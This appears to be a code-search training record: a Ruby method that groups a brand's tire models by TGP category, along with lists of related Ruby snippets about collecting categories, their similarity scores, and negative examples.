"def _tags\n tags = []\n categories.find_each do |category|\n tags << category.self_and_ancestors.pluck(:name)\n end\n tags.flatten.uniq\n end",
"def get_all_category_select_options()\n o = []\n Category.where(:category_id => nil).each do |c|\n get_category_select_options(c).each do |c_option|\n o << c_option\n end\n end\n return o\n end",
"def cities\n galleries.map{|gallery| gallery.city}.uniq\n end",
"def getCategories()\n\t\tcat = Array.new\n\t\tcat.push(\"heroku\")\n\t\tcat.push(\"go\")\n\t\tcat.push(\"github\")\n\t\tcat.push(\"docker\")\n\t\tcat.push(\"css\")\n\t\tcat.push(\"apache\")\n\t\tcat.push(\"html\")\n\t\tcat.push(\"bootstrap\")\n\t\tcat.push(\"java ee\")\n\t\tcat.push(\"javafx\")\n\t\tcat.push(\"java\")\n\t\tcat.push(\"jquery\")\n\t\tcat.push(\"mips\")\n\t\tcat.push(\"c++\")\n\t\tcat.push(\"laravel\")\n\t\tcat.push(\"linux\")\n\t\tcat.push(\"opengl\")\n\t\tcat.push(\"sml\")\n\t\tcat.push(\"javascript\")\n\t\tcat.push(\"mongo db\")\n\t\tcat.push(\"c\")\n\t\tcat.push(\"yacc\")\n\t\tcat.push(\"circuit\")\n\t\tcat.push(\"php\")\n\t\tcat.push(\"mysql\")\n\t\tcat.push(\"node js\")\n\t\tcat.push(\"photoshop\")\n\t\tcat.push(\"rails\")\n\t\tcat.push(\"postgres\")\n\t\tcat.push(\"ruby\")\n\t\tcat.push(\"redis\")\n\t\tcat.push(\"mac osx\")\n\t\tcat.push(\"sass\")\n\t\tcat.push(\"ubuntu\")\n\t\tcat.push(\"bower\")\n\t\tcat.push(\"wordpress\")\n\t\tcat.push(\"css\")\n\t\tcat.push(\"hosted\")\n\t\tcat.push(\"python\")\n\t\tcat.push(\"maven\")\n\t\tcat.push(\"maven mojo\")\n\t\tcat.push(\"composer\")\n\t\tcat.push(\"mips\")\n\t\tcat.push(\"gulp\")\n\t\tcat.push(\"grunt\")\n\t\tcat.push(\"phpstorm\")\n\t\tcat.push(\"react\")\n\t\tcat.push(\"swift\")\n\t\tcat.push(\"wordpress\")\n\t\tcat.push(\"tomcat\")\n\t\tcat.push(\"redis\")\n\t\tcat.push(\"travis\")\n\t\treturn cat\n\tend",
"def animal_species\n Animal.all.map do |animal|\n animal.specie\n end.uniq\n end",
"def get_categories(row)\n categories = []\n cat = at_in(:category1 , row) # should invent some loop here\n categories << cat if cat\n cat = at_in(:category2 , row) # but we only support\n categories << cat if cat\n cat = at_in(:category3 , row) # three levels, so there you go\n categories << cat if cat\n categories\n end",
"def full_classification_list\n \n vs = Hash[Vineyard.all.map { |v| [v.id, {:name => v.name, :up_id => v.subregion_id}] }]\n ss = Hash[Subregion.all.map { |s| [s.id, {:name => s.name, :up_id => s.region_id}] }]\n rs = Hash[Region.all.map { |r| [r.id, {:name => r.name, :up_id => r.country_id}] }]\n cs = Hash[Country.all.map { |c| [c.id, {:name => c.name, :up_id => nil}] }]\n\n full_list = []\n \n vs.reject { |k,v| v[:name].nil? || v[:name] == \"\" }.each do |k, v|\n s = ss[v[:up_id]]\n r = rs[s[:up_id]]\n c = cs[r[:up_id]]\n full_list = full_list.append([k, v[:name], v[:up_id], s[:name], s[:up_id], r[:name], r[:up_id], c[:name]])\n end\n \n ss.reject { |k,s| s[:name].nil? || s[:name] == \"\" }.each do |k, s|\n r = rs[s[:up_id]]\n c = cs[r[:up_id]]\n full_list = full_list.append([nil, nil, k, s[:name], s[:up_id], r[:name], r[:up_id], c[:name]])\n end\n \n rs.reject { |k,r| r[:name].nil? || r[:name] == \"\" }.each do |k, r|\n c = cs[r[:up_id]]\n full_list = full_list.append([nil, nil, nil, nil, k, r[:name], r[:up_id], c[:name]])\n end\n \n cs.reject { |k,c| c[:name].nil? || c[:name] == \"\" }.each do |k, c|\n full_list = full_list.append([nil, nil, nil, nil, nil, nil, k, c[:name]])\n end\n\n return full_list\n end",
"def categorized_list\n %w[artist copyright character meta general]\n end",
"def collect_tier_categories_for_select(klass, select=true)\n result = klass.find_all_categories.map {|c| [c.name, c.id]}\n result.insert(0, [\"Select...\".t, nil])\n result\n end",
"def matching_substances_to(ingredient)\n matching_substances = []\n # does ingredient match any substance in this allergen category \n matching_substances = self.get_substances.select {|substance| \n (ingredient.upcase.include?(substance.upcase) || substance.upcase.include?(ingredient.upcase))\n } \n return matching_substances\n end",
"def get_all_car_types\n models = TireModelInfo.joins('INNER JOIN tire_models ON tire_models.tire_model_info_id = tire_model_infos.id')\n .select('tire_model_infos.*, tire_models.tire_code AS \"tire_code\", MIN(tire_models.orig_cost) AS \"starting_cost\"')\n .where(tire_manufacturer_id: self.id)\n .group('tire_code, tire_model_infos.id')\n .order('tire_model_infos.tire_model_name ASC')\n #Also combine passenger and performance tires into a sorted list so the controller doesn't have to\n result = {'P-Z' => []}\n models.each do |m|\n type = (m.tire_code.blank? ? 'P' : m.tire_code) #Missing tire_code is allowed: default to P\n m.starting_cost = (m.starting_cost.to_f / 100).to_money if m.starting_cost\n result[type] = [] if result[type].nil?\n result[type] << m\n result['P-Z'] << m if (type == 'P' || type == 'Z')\n end\n result\n end",
"def category(period, category) \n category = [category].flatten\n \n list = []\n category.uniq.each do |c|\n list << keys.select { |k| k.category == c and k.period == period }\n end\n \n return list.flatten!\n end",
"def analyze\n @categories = Violation.unique_categories\n end",
"def multiple_categories\n @categories = Category.all\n end",
"def core_category_candidates(category)\n candidates = []\n singularize_name_nouns(category.name, category.head).each do |phrase|\n candidates.concat(candidates_for_name(phrase, @category_filters))\n\n end\n candidate_set = create_candidate_set(category.name,candidates.uniq)\n end",
"def get_categories\n @cards.each do |card|\n if !@categories.include?(card.category)\n @categories << card.category\n end\n end\n @categories\n end",
"def game_companies\n comps = []\n add_entities(comps, UNIT1_COMPANIES) if @units[1]\n add_entities(comps, UNIT3_COMPANIES.reject { |c| comps.any? { |comp| comp[:value] == c[:value] } }) if @units[3]\n add_entities(comps, UNIT2_COMPANIES.reject { |c| comps.any? { |comp| comp[:value] == c[:value] } }) if @units[2]\n comps\n end",
"def bisac_categories_codes\n self.bisac_categories.map { |c| c.code }.uniq\n end",
"def get_models\n relatable_category_id = params[:car_calculator][:fuel_type]\n relatable_category_ids = params[:car_calculator][:relatable_category_ids]\n result = CarApp.calculated_session.related_categories_from_relatable_category(relatable_category_id, \"model\", :relatable_category_ids => relatable_category_ids) \n final_result = []\n result = (result || []).each_pair do |key, value| \n final_result << {:name => value, :value => key}\n end\n render :json => {:options => final_result}.to_json\n end",
"def part_categories\n\t\tall_models = []\n\t\tpart_categories = []\n\t\tfolder = File.join(Rails.root, \"app\", \"models\")\n\t\tDir[File.join(folder,\"*\")].each do |filename|\n\t\t all_models << File.basename(filename).sub(/.rb$/, \"\").split(\"_\").map { |name| name.capitalize }.join\n\t\t exception_list = ( all_models.select { |m| m.end_with? \"Import\"} << [\"Concerns\",\"User\"] ).flatten\n\t\t part_categories = (all_models - exception_list).map {|cat| Kernel.const_get(cat)}\n\t\tend\n\t\tpart_categories\n\tend",
"def adv_categories\n return ['AIR', 'BIKING', 'CULTURAL', 'CAMPING', 'MOTOR', 'CLIMBING', 'HIKING', 'SNOW', 'WATER', 'OTHER']\n end",
"def budget_categories_data\n # @budget.budget_items.collect { |budget_item| budget_item.category.name.to_s }.to_json\n categories = Category.for_budget.to_a\n categories << Category.find_by_name(\"Miscellaneous\")\n return categories.collect { |category| category.name.to_s }.to_json\n end",
"def available_smartphones_category(country, category)\n sp = Smartphone.select('id, model, code, price, category').where('state= ? AND country= ? AND (category= ? OR category= ?)',\n 'catalog',country, category, 'ALL')\n # Format to show in view\n smp = sp.map { |m| [m.model, m.id] }\n return smp\n\n end",
"def bisac_categories_codes\n self.bisac_categories.map{|c| c.code}.uniq\n end",
"def get_category_to_split_into(meeting_individual_result)\n category_type = meeting_individual_result.category_type\n if category_needs_split?(category_type)\n # Find the swimmer age\n swimmer_age = meeting_individual_result.get_swimmer_age\n element = @distinct_categories.rindex { |e| e.code != category_type.code && e.age_begin <= swimmer_age && e.age_end >= swimmer_age && !e.is_undivided }\n end\n element ? @distinct_categories[element] : find_category_by_code(category_type.code)\n end",
"def get_other_varieties(product)\n variety = []\n product_details = data.products[product]\n data.products.each do |key, this|\n if get_brand_name(product).eql?(get_brand_name(key)) && \n product_details.category.eql?(this.category) && \n product_details.type.eql?(this.type) &&\n !product.eql?(key)\n variety.push(link_to(this.scent, this.affiliate_link))\n end\n end\n return variety\n end",
"def all_category_ids\n end",
"def categories\n @categories ||= wayfinder.decorated_vocabularies.sort_by(&:label)\n end",
"def animal_species\n animals.map { |animal| animal.species}.uniq\n end",
"def items(limit_to: [], exclude: [])\n grouped = categorizations.group_by(&:categorizable_type)\n\n if limit_to.present?\n grouped.select! { |ct, _ | limit_to.include?(ct.underscore.to_sym) }\n end\n\n if exclude.present?\n grouped.reject! { |ct, _ | exclude.include?(ct.underscore.to_sym) }\n end\n\n grouped.map do |type, objs|\n ids = objs.map(&:categorizable_id)\n weights = objs.map(&:weight)\n type.constantize.find(ids)\n .each_with_index { |obj, index| obj.category_weight = weights[index] }\n end.reduce([], :concat)\n .sort_by { |categorized| [categorized&.category_weight, categorized&.label] }\n end",
"def parallel_drug_courses\n ConceptName.where(name: ['CPT', 'INH', 'Rifapentine', 'Isoniazid/Rifapentine'])\n end",
"def categories\n data['JobCategory'] || []\n end",
"def categories\n category\n end",
"def categories\n return [] if @feed.channel.categories.empty? && @feed.channel.dc_subjects.empty?\n [@feed.channel.categories, ((@feed.channel.dc_subjects.empty?) ? nil : @feed.channel.dc_subjects)].flatten.uniq.compact.collect{|c| c.content}.reject{|c| c == '' || c.match(/^\\s+$/)}\n end",
"def constant_recipes\n user_diet_pref = self.dietary_preferences.split(' ')\n if self.dietary_preferences == \"\"\n results = Recipe.all.select {|recipe| recipe.diet_labels.include?(self.diet) }\n else \n results = Recipe.all.select do |recipe|\n user_diet_pref.all? {|pref| recipe.health_labels.include?(pref)}\n end.select {|recipe| recipe.diet_labels.include?(self.diet) }\n end\n results\n end",
"def skittle_combos(skittles)\n skittles.combination(2).map(&:sort).uniq\nend",
"def split_categories(team_distinct_best)\n # Verify there are some categories thjat needs to be splitted\n category_to_split = get_categories_to_split.map(&:code)\n unless category_to_split.empty?\n # Scan team records searching for those with categories that needs split\n records_to_split = team_distinct_best.records.select { |record| category_to_split.rindex(record.get_category_type) }\n unless records_to_split.empty?\n # Split records\n # Finds taregt category\n # Check if for target category a record is already present\n # If present choses the better one\n records_to_split.each do |record_to_split|\n record = record_to_split.get_record_instance\n pool_code = record_to_split.get_pool_type\n gender_code = record_to_split.get_gender_type\n event_code = record_to_split.get_event_type\n target_category = get_category_to_split_into(record)\n\n if team_distinct_best.has_record_for?(pool_code, gender_code, event_code, target_category.code)\n if record.get_timing_instance < team_distinct_best.get_record_instance(pool_code, gender_code, event_code, target_category.code).get_timing_instance\n # Update previous target record\n team_distinct_best.delete_record(pool_code, gender_code, event_code, target_category.code)\n team_distinct_best.add_record(record, target_category.code, pool_code, gender_code, event_code)\n end\n else\n # Creates new record\n team_distinct_best.add_record(record, target_category.code, pool_code, gender_code, event_code)\n end\n team_distinct_best.delete_record(pool_code, gender_code, event_code, record_to_split.get_category_type)\n end\n end\n end\n team_distinct_best\n end",
"def awarded_categories\n awards.map do |award|\n award.meal.category\n end\n end",
"def mtb_category_ids_for(race)\n return \"NULL\" unless race.category\n\n case race.category.name\n when \"Senior Men\"\n categories = [::Category.find_or_create_by_name(\"Pro Men\")]\n when \"Senior Women\"\n categories = [::Category.find_or_create_by_name(\"Pro Women\"), ::Category.find_or_create_by_name(\"Category 1 Women\")]\n when \"Category 3 Men\"\n categories = [::Category.find_or_create_by_name(\"Category 1 Men\")]\n when \"Category 3 Women\"\n categories = [::Category.find_or_create_by_name(\"Category 2 Women\")]\n when \"Category 4/5 Men\"\n categories = [::Category.find_or_create_by_name(\"Category 2 Men\"), ::Category.find_or_create_by_name(\"Category 3 Men\")]\n when \"Category 4 Women\"\n categories = [::Category.find_or_create_by_name(\"Category 3 Women\")]\n else\n categories = [race.category] \n end\n\n categories.map(&:id).join \", \"\n end",
"def all_animal_species\n #binding.pry\n all_animals.select{|species|species.zoo == self }.uniq\n end",
"def non_novice_skills_by_category\n non_novice = Hash.new\n SkillSet.category_order.each() do |category|\n non_novice[SkillSet.categories[category]] = skills[category].select() { |x| x.experience_level != :novice }.sort().reverse()\n end\n non_novice\n end",
"def animal_species\n Animals.uniq.select { |animal| animal.species }\n end",
"def categories\n rpg_shop.handled_categories\n end",
"def categories(arg_)\n @config.lock\n\n objdata_ = _get_objdata(arg_)\n return nil unless objdata_\n hash_ = {}\n objdata_[2].each do |tup_, tupcats_|\n tupcats_.each do |cat_|\n hash_[cat_] = @categories[cat_][1].map{ |elem_| tup_[elem_] }\n end\n end\n hash_\n end",
"def all_categories\n @mutex.synchronize do\n @categories.keys\n end\n end",
"def check_subcats\n for i in 1..50\n catid = \"category_id_#{i}\".to_sym\n if params[:expense][catid] \n params[:expense][:category_id] = params[:expense][catid] unless params[:expense][catid] == \"\" \n params[:expense].delete catid\n else\n break\n end \n end \n end",
"def categories\n []\n end",
"def all_cities\n self.all.map do |gallery|\n gallery.city.uniq\n end\n end"
] |
[
"0.7014927",
"0.6648356",
"0.6133134",
"0.6118905",
"0.6111475",
"0.60105354",
"0.5930659",
"0.59269226",
"0.59262073",
"0.58913136",
"0.5886169",
"0.5849953",
"0.5843857",
"0.58431584",
"0.58404857",
"0.5815513",
"0.57914346",
"0.57116693",
"0.57049423",
"0.56540936",
"0.56486815",
"0.56476504",
"0.5636557",
"0.56274205",
"0.5626902",
"0.5616147",
"0.5605073",
"0.55978435",
"0.5586177",
"0.5563112",
"0.55613774",
"0.5556723",
"0.5547309",
"0.55434895",
"0.5537932",
"0.55232733",
"0.5521442",
"0.5510226",
"0.550829",
"0.55070615",
"0.5490314",
"0.5462715",
"0.54618114",
"0.54585046",
"0.54408175",
"0.5438729",
"0.5429737",
"0.5427158",
"0.5423765",
"0.5423579",
"0.54157084",
"0.5414865",
"0.5398347",
"0.5398067",
"0.53806007",
"0.5370266",
"0.5367632",
"0.53610486",
"0.535562",
"0.53541076",
"0.535379",
"0.53347653",
"0.5330928",
"0.5318167",
"0.5308724",
"0.5298588",
"0.529684",
"0.52895033",
"0.52878875",
"0.5280316",
"0.52765",
"0.5249342",
"0.5247663",
"0.52464527",
"0.52401733",
"0.52325976",
"0.52300286",
"0.5216958",
"0.5214449",
"0.52135736",
"0.5212323",
"0.5208415",
"0.52083755",
"0.5202281",
"0.5201164",
"0.5198562",
"0.51964015",
"0.51857907",
"0.5184397",
"0.5177644",
"0.5176997",
"0.5170521",
"0.5169931",
"0.5159838",
"0.5150794",
"0.51420873",
"0.5139974",
"0.51332384",
"0.51316434",
"0.5129704"
] |
0.6868425
|
1
|
Collect all distinct tire model / TGP category combinations for this brand Tire models are allowed to appear under more than one category
|
def get_all_tgp_tire_categories
models = TireModelInfo.joins('INNER JOIN tire_models ON tire_models.tire_model_info_id = tire_model_infos.id')
.where(tire_manufacturer_id: self.id).where('tgp_category_id IS NOT NULL')
.select('DISTINCT tire_model_infos.id, tire_model_infos.tire_model_name, tire_models.tgp_category_id AS "category_id"')
.order('tire_model_infos.tire_model_name ASC')
names = TireModel.tgp_categories
result = Hash.new
models.each do |m|
cat_id = m[:category_id].to_i
if cat_id != 0 && names[cat_id]
result[cat_id] = {:category_name => names[cat_id], :models => []} if result[cat_id].nil?
result[cat_id][:models] << {:id => m.id, :name => m.tire_model_name}
end
end
result.sort
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_all_tire_categories\n cats = TireModelInfo.joins('INNER JOIN tire_models ON tire_models.tire_model_info_id = tire_model_infos.id',\n 'INNER JOIN tire_categories ON tire_models.tire_category_id = tire_categories.id')\n .where(tire_manufacturer_id: self.id)\n .select('DISTINCT tire_model_infos.id, tire_model_infos.tire_model_name, tire_categories.id AS \"category_id\", tire_categories.category_name AS \"category_name\"')\n .order('tire_categories.id ASC, tire_model_infos.tire_model_name ASC')\n result = Hash.new\n cats.each do |c|\n cat_id = c[:category_id]\n result[cat_id] = {:category_name => c[:category_name], :models => []} if result[cat_id].nil?\n result[cat_id][:models] << {:id => c.id, :name => c.tire_model_name}\n end\n result\n end",
"def retrieve_distinct_categories\n if @distinct_categories\n categories = @distinct_categories\n else\n categories = []\n @team.season_types.each do |season_type|\n season_type.seasons.sort_season_by_begin_date\n .last\n .category_types.are_not_relays\n .sort_by_age.each do |category_type|\n categories << category_type unless categories.rindex { |e| e.code == category_type.code }\n end\n end\n end\n categories\n end",
"def extract_categories cats\n cats.inject Hash.new do |hash, tag|\n\n # iterate through groups if the tag belongs to multiple\n tag[\"groups\"].each do |group|\n name = group[\"name\"]\n hash[name] ||= []\n hash[name] << tag[\"name\"]\n end\n hash\n end\n end",
"def get_categories_with_records(pool_type, gender_type, team_distinct_best)\n valid_categories = []\n @distinct_categories.each do |category_type|\n valid_categories << category_type if team_distinct_best.has_record_for?(pool_type.code, gender_type.code, nil, category_type.code)\n end\n valid_categories.sort { |n, p| n.age_begin <=> p.age_begin }\n end",
"def get_categories_to_split\n categories_to_split = []\n @distinct_categories.each do |category_type|\n categories_to_split << category_type if category_needs_split?(category_type)\n end\n categories_to_split\n end",
"def categories\n @transactions.empty? ? nil : @transactions.delete_if{ |t| t.category.nil? }.collect(&:category).uniq\n end",
"def myp_criteria\n #self.objectives.collect(&:criterion).uniq.collect(&:category).join(\", \")\n criterions.collect(&:category).join(\", \")\n end",
"def categorize(elt2category, unknown=nil)\n categories = Hash.new { |h,k| h[k] = [] }\n self.each do |elt|\n if elt2category.include? elt\n categories[elt2category[elt]] << elt \n elsif unknown\n categories[unknown] << elt\n end\n end\n categories\n end",
"def category_sets(category)\n category.curriculum_category_sets.map do |category_set|\n complete[category][category_set] = category_set.courses & taken_courses\n\n get_incomplete_from_set(category, category_set)\n end\n end",
"def criterions\n objectives.collect(&:criterion).uniq.sort{|a,b| a.category <=> b.category}\n end",
"def chosen_categories\n return chosen_options.collect &:category\n end",
"def categories\n categories = []\n @deck.cards.map do |turn|\n categories << turn.category\n end\n categories.uniq!\n end",
"def all_technologies_list\n ActsAsTaggableOn::Tagging.includes(:tag).where(context: 'technologies').map{|tagging| tagging.tag.name}.uniq.sort_by!(&:downcase)\n end",
"def kata_user_categories\n kataUserCategories = []\n survived_reviews.each do |review|\n review.category_ids.each {|category_id| kataUserCategories << category_id}\n end\n kataUserCategories.uniq\n end",
"def all_matching_categories(categories)\n cross_version_category_mapping\n .select { |key, _value| categories.include?(key) }\n .values\n .flatten\n .uniq\n end",
"def categories_by_taxonomy\n\n self.categories.inject({}) do |result, category|\n \n if result.has_key?(category.taxonomy.id.to_sym)\n result[category.taxonomy.id.to_sym] << category\n else\n result[category.taxonomy.id.to_sym] = [category]\n end\n \n result \n end \n\n end",
"def related_tag_categories\n @related_tag_categories ||= {\n GENERAL => [GENERAL],\n ARTIST => [COPYRIGHT, CHARACTER, GENERAL],\n CHARACTER => [COPYRIGHT, CHARACTER, GENERAL],\n COPYRIGHT => [COPYRIGHT, CHARACTER, GENERAL],\n META => [META, GENERAL]\n }\n end",
"def skittle_combos(skittles)\n two_flavor_array = Array.new\n skittles.each do |el1|\n skittles.each do |el2|\n if el1 != el2\n two_flavor_array.push([el1, el2].sort)\n end\n end\n end\n two_flavor_array.uniq.sort\nend",
"def categories\n stories.map(&:category).delete_if {|c| c.nil? or c.global}.uniq\n end",
"def categories_for(race)\n [ race.category ] + race.category.descendants\n end",
"def scan_for_distinct_bests\n team_distinct_best = RecordX4dDAO.new(@team, RecordType.find_by(code: 'TTB'))\n # Cycle between set genders, pools, events and distinct categories\n @gender_types.each do |gender_type|\n @pool_types.each do |pool_type|\n @event_types.each do |event_type|\n @distinct_categories.each do |category_type|\n record = get_team_best_individual_result(gender_type, pool_type, event_type, category_type.code)\n team_distinct_best.add_record(record) if record\n end\n end\n end\n end\n team_distinct_best\n end",
"def find_season_type_category_codes\n CategoryType.are_not_relays.is_divided.for_season_type(@season.season_type)\n .for_season(@season)\n .sort_by_age\n .pluck(:code).uniq\n end",
"def clean_up_unused_categories!\n empty_category_codes = []\n @category_types.each do |category_type|\n record_found = 0 # Let's count how many records there are for this category:\n @pool_types.each do |pool_type|\n @gender_types.each do |gender_type|\n next unless @event_types_by_pool.key?(pool_type.id)\n\n @event_types_by_pool[pool_type.id].each do |event_type|\n record_found += 1 if @collector.collection.has_record_for(@record_type_code, pool_type.code, event_type.code, category_type.code, gender_type.code)\n end\n end\n end\n empty_category_codes << category_type.code if record_found == 0\n end\n # Remove unused cateogories:\n @category_types = @category_types.delete_if { |category_type| empty_category_codes.include?(category_type.code) }\n end",
"def products_brands(products)\n products.map{|product| product['brand']}.uniq\nend",
"def get_categories\n cats = []\n params.each do |k,v|\n if k.starts_with? \"category\"\n name = v\n num = cat_number(k) \n cats << [name,num]\n end\n end\n return cats\n end",
"def categories\n taxonomies.all :conditions => { :classification => :category }\n end",
"def all_technologies_list_for_type\n case controller_name\n when \"resources\"\n @model = \"Resource\"\n when \"projects\"\n @model = \"Project\"\n when \"collaborations\"\n @model = \"Collaboration\"\n when \"jobs\"\n @model = \"Job\"\n end\n #need local variable for squeel to work\n model = @model\n ActsAsTaggableOn::Tagging.includes(:tag).where{(taggable_type == model) & (context == 'technologies')}.map{|tagging| tagging.tag.name}.uniq.sort_by!(&:downcase)\n end",
"def categories\n Hash[self.class.catalogs.map { |fld, klass|\n name = fld.gsub(/_id$/, '_name');\n [fld, {:id => self.send(fld), :name => self.send(name)}] rescue nil\n }.reject {|cat| cat.nil?}]\n end",
"def get_sets\n result = []\n (0..(TAILLE_TAPIS + TAILLE_EXT*self.etendu - 3)).each do |a|\n ((a + 1)..(TAILLE_TAPIS + TAILLE_EXT*self.etendu - 2)).each do |b|\n ((b + 1)..(TAILLE_TAPIS + TAILLE_EXT*self.etendu - 1)).each do |c|\n if (is_a_set?([self.talon[self.tapis[a]], self.talon[self.tapis[b]], self.talon[self.tapis[c]]]))[0]\n result << [a, b, c]\n end\n end\n end\n end\n result\n end",
"def brands_array\n ($products_hash['items'].map { |toy| toy['brand'] }).uniq\nend",
"def mechanics\n Mechanic.all.select{|mechanic|mechanic.specialty == self.classification}\n end",
"def water_types\n self.waters.map{|water| water.water_type.category}.uniq.sort\n end",
"def find_categories\n categories = @deck.cards.group_by do |card|\n card.category\n end\n categories.keys\n end",
"def _get_keywords_set_int_v_1_55()\n \n result = []\n \n genre_int = Genre.find(:all, :conditions => {:code => 'int'})[0]\n \n categories = Category.find(:all, :conditions => {:genre_id => genre_int.id})\n \n #debug\n if categories != nil\n \n write_log(\n @log_path,\n \"categories.size => #{categories.size}\", \n # __FILE__,\n __FILE__.split(\"/\")[-1],\n __LINE__.to_s)\n\n else\n write_log(\n @log_path,\n \"categories => nil\", \n # __FILE__,\n __FILE__.split(\"/\")[-1],\n __LINE__.to_s) \n end\n \n if categories != nil and categories.size > 0\n \n kws1 = KeyWordSet.new\n kws1.category = 'China'\n kws1.keywords = '中国 日中'\n \n kws2 = KeyWordSet.new\n kws2.category = 'Europe'\n # kws2.keywords = '米国 アメリカ'\n kws2.keywords = '欧州 イギリス ドイツ フランス ロシア'\n \n result.push(kws1)\n result.push(kws2)\n \n else\n \n kws1 = KeyWordSet.new\n kws1.category = 'China'\n kws1.keywords = '中国 日中'\n \n kws2 = KeyWordSet.new\n kws2.category = 'US'\n # kws2.keywords = '米国 アメリカ'\n kws2.keywords = '米国 アメリカ オバマ 米選挙'\n \n result.push(kws1)\n result.push(kws2)\n \n end\n \n \n return result\n \n end",
"def applicable_category_filters\n return {} if current_category_level > 3\n facet_name = ProductSearcher::CATEGORY_LEVEL_FACET_MAP[current_category_level + 1]\n facet = self.facets[facet_name.to_sym]\n facet_id_and_count_to_model_and_count(facet, Category).sort{|a,b| b[1] <=> a[1]}[0..19]\n end",
"def all_selectable_materials\n categories = Category.order(\"depth ASC \")\n \n # MATERIAL = {\n # :steel => {\n # :value => 1, \n # :name => \"Steel\" \n # } ,\n # :copper => {\n # :value => 2, \n # :name => \"Tembaga\"\n # }, \n # :alumunium => {\n # :value => 3, \n # :name => \"Aluminium\"\n # }\n # }\n # \n \n result = []\n MATERIAL.each do |material| \n result << [ \"#{category.name}\" , \n category.id ] \n end\n return result\n end",
"def categories\n category_keys.collect(&:to_s)\n end",
"def ffck_categories_detailed()\n ['Pitchoun', 'Poussin 1', 'Poussin 2', 'Benjamin 1', 'Benjamin 2', 'Minime 1', 'Minime 2', 'Cadet 1', 'Cadet 2',\n 'Junior 1', 'Junior 2', 'Senior', 'Veteran 1', 'Veteran 2', 'Veteran 3', 'Veteran +', 'Inconnu']\n end",
"def cities \n galleries.map{|g| g.city}.uniq\n end",
"def categories_given_items(items)\n\n categorized_items = Array.new\n\n items.each{ |item|\n sub_array = categorized_items.detect{ |sub_item_array| sub_item_array[0].name == item.name }\n if sub_array != nil\n sub_array.push(item)\n else\n new_sub_array = Array.new\n new_sub_array.push(item)\n categorized_items.push(new_sub_array)\n end\n }\n categorized_items\n end",
"def getCategories()\n\t\tcat = Array.new\n\t\tcat.push(\"heroku\")\n\t\tcat.push(\"go\")\n\t\tcat.push(\"github\")\n\t\tcat.push(\"docker\")\n\t\tcat.push(\"css\")\n\t\tcat.push(\"apache\")\n\t\tcat.push(\"html\")\n\t\tcat.push(\"bootstrap\")\n\t\tcat.push(\"java ee\")\n\t\tcat.push(\"javafx\")\n\t\tcat.push(\"java\")\n\t\tcat.push(\"jquery\")\n\t\tcat.push(\"mips\")\n\t\tcat.push(\"c++\")\n\t\tcat.push(\"laravel\")\n\t\tcat.push(\"linux\")\n\t\tcat.push(\"opengl\")\n\t\tcat.push(\"sml\")\n\t\tcat.push(\"javascript\")\n\t\tcat.push(\"mongo db\")\n\t\tcat.push(\"c\")\n\t\tcat.push(\"yacc\")\n\t\tcat.push(\"circuit\")\n\t\tcat.push(\"php\")\n\t\tcat.push(\"mysql\")\n\t\tcat.push(\"node js\")\n\t\tcat.push(\"photoshop\")\n\t\tcat.push(\"rails\")\n\t\tcat.push(\"postgres\")\n\t\tcat.push(\"ruby\")\n\t\tcat.push(\"redis\")\n\t\tcat.push(\"mac osx\")\n\t\tcat.push(\"sass\")\n\t\tcat.push(\"ubuntu\")\n\t\tcat.push(\"bower\")\n\t\tcat.push(\"wordpress\")\n\t\tcat.push(\"css\")\n\t\tcat.push(\"hosted\")\n\t\tcat.push(\"python\")\n\t\tcat.push(\"maven\")\n\t\tcat.push(\"maven mojo\")\n\t\tcat.push(\"composer\")\n\t\tcat.push(\"mips\")\n\t\tcat.push(\"gulp\")\n\t\tcat.push(\"grunt\")\n\t\tcat.push(\"phpstorm\")\n\t\tcat.push(\"react\")\n\t\tcat.push(\"swift\")\n\t\tcat.push(\"wordpress\")\n\t\tcat.push(\"tomcat\")\n\t\tcat.push(\"redis\")\n\t\tcat.push(\"travis\")\n\t\treturn cat\n\tend",
"def terms\n @data.map(&:uniq).flatten\n end",
"def asocia_cat_riesgo(especie)\n cat_riesgo = []\n \n especie.catalogos.each do |cat|\n if [2,4].include?(cat.nivel1) && !(Catalogo::EVALUACION + Catalogo::AMBIENTE_EQUIV_MARINO + [\"Riesgo bajo (LR): Dependiente de conservación (cd)\"]).include?(cat.descripcion)\n cat_riesgo << cat.descripcion.estandariza\n end\n end\n\n cat_riesgo.uniq\n end",
"def categories\n @categories = FinanceTransactionCategory.all(:conditions => {:deleted => false}, :order => 'name asc')\n @categories = @categories.select { |x| x.accessible? }\n @category_ids = @categories.map { |cat| cat.id if FinanceTransaction.find_by_category_id(cat.id).present? }.compact\n @multi_config = FinanceTransactionCategory.get_multi_configuration\n @fee_category_present = FinanceFeeCategory.first\n # @fixed_categories = @categories.reject { |c| !c.is_fixed }\n # @other_categories = @categories.reject { |c| c.is_fixed }\n end",
"def items_by_categories\n set_parts = {}\n\n categories.each do |category|\n set_parts[category] = suitable_items.select do |item|\n item.category == category\n end\n end\n\n set_parts\n end",
"def potential_categories\n if categories.length > 0\n Category.all(:conditions => \"id NOT IN (#{category_ids})\")\n else\n Category.all\n end\n end",
"def category(period, category) \n category = [category].flatten\n \n list = []\n category.uniq.each do |c|\n list << keys.select { |k| k.category == c and k.period == period }\n end\n \n return list.flatten!\n end",
"def get_all_category_select_options()\n o = []\n Category.where(:category_id => nil).each do |c|\n get_category_select_options(c).each do |c_option|\n o << c_option\n end\n end\n return o\n end",
"def categorized_list\n %w[artist copyright character meta general]\n end",
"def get_all_car_types\n models = TireModelInfo.joins('INNER JOIN tire_models ON tire_models.tire_model_info_id = tire_model_infos.id')\n .select('tire_model_infos.*, tire_models.tire_code AS \"tire_code\", MIN(tire_models.orig_cost) AS \"starting_cost\"')\n .where(tire_manufacturer_id: self.id)\n .group('tire_code, tire_model_infos.id')\n .order('tire_model_infos.tire_model_name ASC')\n #Also combine passenger and performance tires into a sorted list so the controller doesn't have to\n result = {'P-Z' => []}\n models.each do |m|\n type = (m.tire_code.blank? ? 'P' : m.tire_code) #Missing tire_code is allowed: default to P\n m.starting_cost = (m.starting_cost.to_f / 100).to_money if m.starting_cost\n result[type] = [] if result[type].nil?\n result[type] << m\n result['P-Z'] << m if (type == 'P' || type == 'Z')\n end\n result\n end",
"def all_categories\n stories.map(&:category).delete_if {|c| c.nil?}.uniq\n end",
"def category_types\n @category_types.each\n end",
"def find_triplets(non_reduced_possibilities)\n non_reduced_possibilities.group_by {|e| e}.map { |e| e[0] if e[1][2]}.compact\n end",
